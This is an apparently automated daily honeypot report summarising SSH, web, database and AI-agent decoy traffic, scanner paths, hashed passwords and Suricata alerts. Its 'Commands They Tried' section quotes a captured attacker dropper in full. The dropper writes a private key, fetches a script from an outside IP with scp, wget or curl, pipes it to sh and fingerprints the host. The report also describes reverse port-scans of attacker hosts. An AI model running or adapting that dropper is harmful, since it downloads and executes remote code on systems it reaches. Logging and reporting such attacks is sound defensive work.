Daily Threat Report
Top Attacker IPs
Top Passwords Tried
- 4813494d137e1631
- cfdc129e475d7bb8
- f7600f7b1922aec6
- 8c6976e5b5410415
- ab0c16f2769c75b4
🌐 WEB HONEYPOT — HoneyAI HTTP
AI-generated fake HTTP responses served to 127 scanner requests from 47 unique IPs (local, offline).
Top Paths Probed
- /
- /dispatch.asp
- /login
- /favicon.ico
- /query?q=SHOW+DIAGNOSTICS
Top User-Agents
- Go-http-client/1.1
- Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46
- Mozilla/5.0 (compatible; Infrawatch/1.0; +https://infrawat.ch/)
- Mozilla/5.0 zgrab/0.x
- Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)
💥 OPERATION SPINE — Reverse Port Scanning
Active defense back-profiling: HoneyAI executed **13** reverse port-scans against active attacker IPs. Out of these, **13** hosts were found with open services.
Discovered Open Ports on Attackers
# Automatic multi-platform threat intel reporting $ honeypot-report.sh --since 24h → 314 IPs → AbuseIPDB (community confidence scores updated) → 314 IPs → AlienVault OTX (pulse indicators added) → 314 IPs → Blocklist.de (auto-ban list updated) → 314 IPs → DShield/SANS (global threat feed updated)
🤣 ATTACKER COMEDY CORNER
Real attempts. No actors were harmed in the making of this honeypot.
🔑 Hall of Shame — Passwords
4813494d137e1631 cfdc129e475d7bb8 f7600f7b1922aec6 8c6976e5b5410415 ab0c16f2769c75b4 💻 Commands They Tried
uname -a uname -a; echo -e $_dq\x61\x75\x74\x68\x5F\x6F\x6B\x0A$_dq; cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW QyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxgAAAJAt8FDRLfBQ 0QAAAAtzc2gtZWQyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxg AAAEAr1wl+3JHkjA3ZtPtjd8bAtLVFo13eZ12Aw2QnFXC/ie94S34m0hVkYFUhtWQe92S9 Cp0yJp+7n8gw696Uf/LGAAAACGRsckBzZnRwAQIDBAU= -----END OPENSSH PRIVATE KEY-----' > key.ppk; echo 'StrictHostKeyChecking no UserKnownHostsFile /dev/null' > sshcfg; chmod 400 key.ppk; scp -F sshcfg -i key.ppk dlr@217.60.195.113:sh out_sh; if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh ssh >/dev/null 2>&1; else (wget --no-check-certificate -qO- https://217.60.195.113/sh || curl -sk https://217.60.195.113/sh) | sh -s ssh; fi; rm -rf sshcfg key.ppk out_sh export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '$_dq' ) || echo $_dq$_dq) arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q $_dqlm$_dq /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q $_dqCPU architecture: 8$_dq /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q $_dqCPU architecture: 7$_dq /proc/cpuinfo && echo armv7l ) || echo $_dq$_dq) uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null) cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c $_dq^processor$_dq /proc/cpuinfo 2>/dev/null) cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E $_dq^model name$_dq /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E $_dq^Hardware$_dq /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ) gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ) last_output=$(last 2>/dev/null) filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf $_dq#!/bin/bash\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case $_dq$out$_dq in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf $_dq#!/bin/bash\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case $_dq$out$_dq in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf $_dq#!/bin/bash\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case $_dq$out$_dq in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf $_dq#!/bin/sh\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf $_dq#!/bin/sh\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' $_dq$out$_dq | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ) echo $_dqUNAME:$uname$_dq echo $_dqARCH:$arch$_dq echo $_dqUPTIME:$uptime$_dq echo $_dqCPUS:$cpus$_dq echo $_dqCPU_MODEL:$cpu_model$_dq echo $_dqGPU:$gpu_info$_dq echo $_dqLAST:$last_output$_dq echo $_dqFILTER:$filter_output$_dq These are real credentials and commands attempted by automated scanners and script kiddies. Logged, reported, and immortalized.
Automated report for 10 de julio de 2026. Recorded 1834 SSH connections and 33653 multi-protocol decoy events on HoneyAI, from 314 unique IPs. 314 IPs were automatically reported to the AbuseIPDB community database.
SSH Activity (HoneyAI)
The SSH service received 1083 login attempts from 135 unique IPs. Attackers executed 744 commands after gaining simulated system access.
Multi-Protocol Decoys (HoneyAI)
Detected 33653 events across services including FTP, Telnet, SMTP, MySQL, Redis, Git, VNC, and RDP from 179 distinct IPs. All events are access attempts against simulated production services.
HTTP Web Service (HoneyAI)
The web service received 127 HTTP requests from real scanners across 47 unique IPs. Each attacker received a fake response generated in real time by the local AI engine (Ollama, no internet connection required).
MCP Agent Trap
The MCP decoy server received 5 requests from 3 unique IPs. Attackers attempted to call internal tools including credential extraction and system command execution.
MSSQL / SNMP Honeypots
The MSSQL decoy received 6533 authentication events from 4 IPs. The SNMP trap received 38 queries from 18 IPs probing community strings and OIDs.
Portscan Detection
Detected 0 incoming port scan events from 0 unique IPs.
AI Defense Stats
Blocked 0 prompt injection attempts and 0 identity leak attempts.
Active Defense (Operation Spine)
HoneyAI performed 13 reverse port scans back to active attacker IPs. Out of these, 13 hosts were found running open public services, allowing backfire profiling.
Network IDS (Suricata)
The network intrusion detection system generated 60568 alerts from 598 unique source IPs. Suricata monitors all traffic on the primary network interface using Emerging Threats + AlienVault OTX rulesets.